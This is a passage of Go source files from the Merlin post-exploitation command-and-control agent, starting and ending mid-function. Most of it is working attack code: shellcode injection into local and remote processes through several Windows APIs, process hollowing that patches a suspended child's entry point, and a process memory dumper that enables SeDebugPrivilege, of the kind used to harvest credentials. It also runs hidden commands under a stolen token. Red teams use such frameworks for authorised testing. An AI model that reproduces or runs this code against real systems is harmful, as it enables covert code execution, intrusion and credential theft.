stderr = fmt.Sprintf("there was an error unsetting the %s environment variable:\n%s", Args[1], err)
return
}
resp = fmt.Sprintf("\nUnset environment variable: %s", Args[1])
default:
stderr = fmt.Sprintf("Invlalid env command: %s", Args[0])
}
return
}
stderr = "an argument was not provided to the env command"
return
}
================================================
FILE: commands/exec.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"errors"
"fmt"
"os/exec"
)
// ExecuteCommand is a function used to instruct an agent to execute a command on the host operating system
func executeCommand(name string, args []string) (stdout string, stderr string) {
cmd := exec.Command(name, args...) // #nosec G204
out, err := cmd.CombinedOutput()
if cmd.Process != nil {
stdout = fmt.Sprintf("Created %s process with an ID of %d\n", name, cmd.Process.Pid)
}
stdout += string(out)
if err != nil {
stderr = err.Error()
}
return stdout, stderr
}
// ExecuteShellcodeSelf executes provided shellcode in the current process
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func ExecuteShellcodeSelf(shellcode []byte) error {
return errors.New("shellcode execution is not implemented for this operating system")
}
// ExecuteShellcodeRemote executes provided shellcode in the provided target process
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {
return errors.New("shellcode execution is not implemented for this operating system")
}
// ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {
return errors.New("shellcode execution is not implemented for this operating system")
}
// ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func ExecuteShellcodeQueueUserAPC([]byte, uint32) error {
return errors.New("shellcode execution is not implemented for this operating system")
}
// ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {
return stdout, stderr, fmt.Errorf("CreateProcess modules in not implemented for this operating system")
}
// miniDump is a Windows only module function to dump the memory of the provided process
//
//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used
func miniDump(string, string, uint32) (map[string]interface{}, error) {
var mini map[string]interface{}
return mini, errors.New("minidump doesn't work on non-windows hosts")
}
================================================
FILE: commands/exec_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"io/ioutil"
"os"
"os/exec"
"syscall"
"unicode/utf8"
"unsafe"
// X Packages
"golang.org/x/sys/windows"
// Sub Repositories
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/kernel32"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/ntdll"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens"
)
// executeCommand instruct an agent to execute a program on the host operating system
func executeCommand(name string, args []string) (stdout string, stderr string) {
attr := &syscall.SysProcAttr{
HideWindow: true,
Token: syscall.Token(tokens.Token),
}
return executeCommandWithAttributes(name, args, attr)
}
// executeCommandWithAttributes starts the process with the provided system process attributes and returns the output
// https://pkg.go.dev/syscall?GOOS=windows#SysProcAttr
func executeCommandWithAttributes(name string, args []string, attr *syscall.SysProcAttr) (stdout string, stderr string) {
application, err := exec.LookPath(name)
if err != nil {
stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err)
return
}
// #nosec G204 -- Subprocess must be launched with a variable
cmd := exec.Command(application, args...)
cmd.SysProcAttr = attr
out, err := cmd.CombinedOutput()
if cmd.Process != nil {
stdout = fmt.Sprintf("Created %s process with an ID of %d\n", application, cmd.Process.Pid)
}
// Convert the output to a string
if utf8.Valid(out) {
stdout += string(out)
} else {
s, e := text.DecodeString(out)
if e != nil {
stderr = fmt.Sprintf("%s\n", e)
} else {
stdout += s
}
}
if err != nil {
stderr += err.Error()
}
return stdout, stderr
}
// ExecuteShellcodeSelf executes provided shellcode in the current process
func ExecuteShellcodeSelf(shellcode []byte) error {
addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeSelf: there was an error calling Windows API VirtualAlloc: %s", err)
}
err = ntdll.RtlCopyMemory(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uint32(len(shellcode)))
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeSelf: %s", err)
}
var lpflOldProtect uint32
err = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtect: %s", err)
}
// Execute the shellcode
_, _, err = syscall.SyscallN(addr, 0)
if err != windows.Errno(0) {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error executing the shellcode by making a syscall on the start address: %s", err)
}
return nil
}
// ExecuteShellcodeRemote executes provided shellcode in the provided target process
func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {
// Setup OS environment, if any
err := Setup()
if err != nil {
return err
}
defer TearDown()
desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)
handle, err := windows.OpenProcess(desiredAccess, false, pid)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API OpenProcess: %s", err)
}
defer windows.CloseHandle(handle)
addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: %s", err)
}
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
var lpNumberOfBytesWritten uintptr
err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API WriteProcessMemory: %s", err)
}
var lpflOldProtect uint32
err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtectEx: %s", err)
}
_, err = kernel32.CreateRemoteThreadEx(uintptr(handle), 0, 0, addr, 0, 0, 0, 0)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: %s", err)
}
return nil
}
// ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call
func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {
// Setup OS environment, if any
err := Setup()
if err != nil {
return err
}
defer TearDown()
desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)
handle, err := windows.OpenProcess(desiredAccess, false, pid)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API OpenProcess: %s", err)
}
defer windows.CloseHandle(handle)
addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err)
}
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
var lpNumberOfBytesWritten uintptr
err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API WriteProcessMemory: %s", err)
}
var lpflOldProtect uint32
err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API VirtualProtectEx: %s", err)
}
var tHandle uintptr
_, err = ntdll.RtlCreateUserThread(uintptr(handle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err)
}
_, err = windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err)
}
return nil
}
// ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call
func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error {
// TODO this can be local or remote
// Setup OS environment, if any
err := Setup()
if err != nil {
return err
}
defer TearDown()
// Consider using NtQuerySystemInformation to replace CreateToolhelp32Snapshot AND to find a thread in a wait state
// https://stackoverflow.com/questions/22949725/how-to-get-thread-state-e-g-suspended-memory-cpu-usage-start-time-priori
dwFlags := uint32(windows.TH32CS_SNAPTHREAD | windows.TH32CS_SNAPHEAPLIST | windows.TH32CS_SNAPMODULE | windows.TH32CS_SNAPPROCESS)
pSnapshot, err := windows.CreateToolhelp32Snapshot(dwFlags, pid)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CreateToolhelp32Snapshot: %s", err)
}
defer windows.CloseHandle(pSnapshot)
desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)
handle, err := windows.OpenProcess(desiredAccess, false, pid)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenProcess: %s", err)
}
defer windows.CloseHandle(handle)
addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: %s", err)
}
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
var lpNumberOfBytesWritten uintptr
err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API WriteProcessMemory: %s", err)
}
var lpflOldProtect uint32
err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API VirtualProtectEx: %s", err)
}
threadEntry := windows.ThreadEntry32{
Size: uint32(unsafe.Sizeof(windows.ThreadEntry32{})),
}
err = windows.Thread32First(pSnapshot, &threadEntry)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32First: %s", err)
}
i := true
x := 0
// Queue an APC for every thread; very unstable and not ideal, need to programmatically find alertable thread
for i {
err = windows.Thread32Next(pSnapshot, &threadEntry)
if err != nil {
// There are no more files.
if err == windows.ERROR_NO_MORE_FILES {
i = false
break
}
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32Next: %s", err)
}
if threadEntry.OwnerProcessID == pid {
if x > 0 {
var hThread windows.Handle
hThread, err = windows.OpenThread(windows.THREAD_SET_CONTEXT, false, threadEntry.ThreadID)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenThread: %s", err)
}
//fmt.Printf("Queueing APC for PID: %d, Thread %d\n", pid, threadEntry.ThreadID)
err = kernel32.QueueUserAPC(addr, uintptr(hThread), 0)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: %s", err)
}
x++
err = windows.CloseHandle(hThread)
if err != nil {
return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CloseHandle: %s", err)
}
} else {
x++
}
}
}
return nil
}
// ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output
// Returns STDOUT and STDERR from process execution. Any encountered errors in this function are also returned in STDERR
func ExecuteShellcodeCreateProcessWithPipe(sc string, spawnto string, args string) (stdout string, stderr string, err error) {
// Base64 decode string into bytes
shellcode, errDecode := base64.StdEncoding.DecodeString(sc)
if errDecode != nil {
return stdout, stderr, fmt.Errorf("there was an error decoding the Base64 string: %s", errDecode)
}
// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
// Setup pipes to retrieve output
stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()
if err != nil {
return
}
application, err := exec.LookPath(spawnto)
if err != nil {
err = fmt.Errorf("there was an error resolving the absolute: %s", err)
return
}
// Convert the program to a LPCWSTR
lpApplicationName, err := syscall.UTF16PtrFromString(application)
if err != nil {
err = fmt.Errorf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err)
return
}
// Convert the program to a LPCWSTR
lpCommandLine, err := syscall.UTF16PtrFromString(args)
if err != nil {
err = fmt.Errorf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err)
return
}
lpProcessInformation := &windows.ProcessInformation{}
lpStartupInfo := &windows.StartupInfo{
StdInput: stdInRead,
StdOutput: stdOutWrite,
StdErr: stdErrWrite,
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED | windows.STARTF_USESHOWWINDOW,
ShowWindow: windows.SW_HIDE,
}
if tokens.Token != 0 {
err = windows.CreateProcessAsUser(tokens.Token, lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation)
if err != nil {
err = fmt.Errorf("there was an error calling windows.CreateProcessAsUser(): %s", err)
return
}
stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId)
} else {
errCreateProcess := windows.CreateProcess(lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling CreateProcess:\r\n%s", errCreateProcess)
}
stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId)
}
// Allocate memory in child process
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(lpProcessInformation.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling VirtualAlloc:\r\n%s", errVirtualAlloc)
}
if addr == 0 {
return stdout, stderr, fmt.Errorf("VirtualAllocEx failed and returned 0")
}
// Write shellcode into child process memory
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory)
}
// Change memory permissions to RX in child process where shellcode was written
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(lpProcessInformation.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx)
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(lpProcessInformation.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess)
}
if ntStatus != 0 {
if ntStatus == 3221225476 {
return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus))
}
// Read from PEB base address to populate the PEB structure
// ReadProcessMemory
/*
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
*/
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory)
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2)
}
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 representation of MZ
if dosHeader.Magic != 23117 {
return stdout, stderr, fmt.Errorf("DOS image header magic string was not MZ: 0x%x", dosHeader.Magic)
}
// Read the child process's PE header signature to validate it is a PE
var Signature uint32
var readBytes3 int32
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3)
}
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
return stdout, stderr, fmt.Errorf("PE Signature string was not PE: 0x%x", Signature)
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4)
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var errReadProcessMemory5 error
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)
}
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5)
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
// x86 - 0xb8 = mov eax
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
return stdout, stderr, fmt.Errorf("error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2)
}
// Resume the child process
_, errResumeThread := windows.ResumeThread(lpProcessInformation.Thread)
if errResumeThread != nil {
return stdout, stderr, fmt.Errorf("[!]Error calling ResumeThread:\r\n%s", errResumeThread)
}
// Close the handle to the child process
errCloseProcHandle := windows.CloseHandle(lpProcessInformation.Process)
if errCloseProcHandle != nil {
return stdout, stderr, fmt.Errorf("error closing the child process handle:\r\n\t%s", errCloseProcHandle)
}
// Close the hand to the child process thread
errCloseThreadHandle := windows.CloseHandle(lpProcessInformation.Thread)
if errCloseThreadHandle != nil {
return stdout, stderr, fmt.Errorf("error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle)
}
// Close the "write" pipe handles
err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)
if err != nil {
stderr = err.Error()
return
}
// Read from the pipes
_, out, stderr, err := pipes.ReadPipes(0, stdOutRead, stdErrRead)
if err != nil {
stderr += err.Error()
}
stdout += out
// Close the "read" pipe handles
err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)
if err != nil {
stderr += err.Error()
return
}
return
}
// TODO always close handle during exception handling
// miniDump will attempt to perform use the Windows MiniDumpWriteDump API operation on the provided process, and returns
// the raw bytes of the dumpfile back as an upload to the server.
// Touches disk during the dump process, in the OS default temporary or provided temporary directory
func miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) {
var mini map[string]interface{}
mini = make(map[string]interface{})
var err error
// Make sure a temporary directory exists before executing miniDump functionality
if tempDir != "" {
d, errS := os.Stat(tempDir)
if os.IsNotExist(errS) {
return mini, fmt.Errorf("the provided directory does not exist: %s", tempDir)
}
if d.IsDir() != true {
return mini, fmt.Errorf("the provided path is not a valid directory: %s", tempDir)
}
} else {
tempDir = os.TempDir()
}
// Get the process PID or name
mini["ProcName"], mini["ProcID"], err = getProcess(process, inPid)
if err != nil {
return mini, err
}
// Setup OS environment, if any
err = Setup()
if err != nil {
return mini, err
}
defer TearDown()
// Get debug privs (required for dumping processes not owned by current user)
err = sePrivEnable("SeDebugPrivilege")
if err != nil {
return mini, err
}
// Get a handle to process
hProc, err := syscall.OpenProcess(0x1F0FFF, false, mini["ProcID"].(uint32)) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF)
if err != nil {
return mini, err
}
// Set up the temporary file to write to, automatically remove it once done
// TODO: Work out how to do this in memory
f, tempErr := ioutil.TempFile(tempDir, "*.tmp")
if tempErr != nil {
return mini, tempErr
}
// Remove the file after the function exits, regardless of error nor not
defer os.Remove(f.Name())
// Load MiniDumpWriteDump function from DbgHelp.dll
k32 := windows.NewLazySystemDLL("DbgHelp.dll")
miniDump := k32.NewProc("MiniDumpWriteDump")
/*
BOOL MiniDumpWriteDump(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
*/
// Call Windows MiniDumpWriteDump API
r, _, _ := miniDump.Call(uintptr(hProc), uintptr(mini["ProcID"].(uint32)), f.Fd(), 3, 0, 0, 0)
f.Close() //idk why this fixes the 'not same as on disk' issue, but it does
if r != 0 {
mini["FileContent"], err = ioutil.ReadFile(f.Name())
if err != nil {
f.Close()
return mini, err
}
}
return mini, nil
}
// getProcess takes in a process name OR a process ID and returns a pointer to the process handle, the process name,
// and the process ID.
func getProcess(name string, pid uint32) (string, uint32, error) {
//https://github.com/mitchellh/go-ps/blob/master/process_windows.go
if pid <= 0 && name == "" {
return "", 0, fmt.Errorf("a process name OR process ID must be provided")
}
snapshotHandle, err := syscall.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if int(snapshotHandle) < 0 || err != nil {
return "", 0, fmt.Errorf("there was an error creating the snapshot:\r\n%s", err)
}
defer syscall.CloseHandle(snapshotHandle)
var process syscall.ProcessEntry32
process.Size = uint32(unsafe.Sizeof(process))
err = syscall.Process32First(snapshotHandle, &process)
if err != nil {
return "", 0, fmt.Errorf("there was an accessing the first process in the snapshot:\r\n%s", err)
}
for {
processName := syscall.UTF16ToString(process.ExeFile[:])
if pid > 0 {
if process.ProcessID == pid {
return processName, pid, nil
}
} else if name != "" {
if processName == name {
return name, process.ProcessID, nil
}
}
err = syscall.Process32Next(snapshotHandle, &process)
if err != nil {
break
}
}
return "", 0, fmt.Errorf("could not find a procces with the supplied name \"%s\" or PID of \"%d\"", name, pid)
}
// sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege'
func sePrivEnable(s string) error {
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
modadvapi32 := windows.NewLazySystemDLL("advapi32.dll")
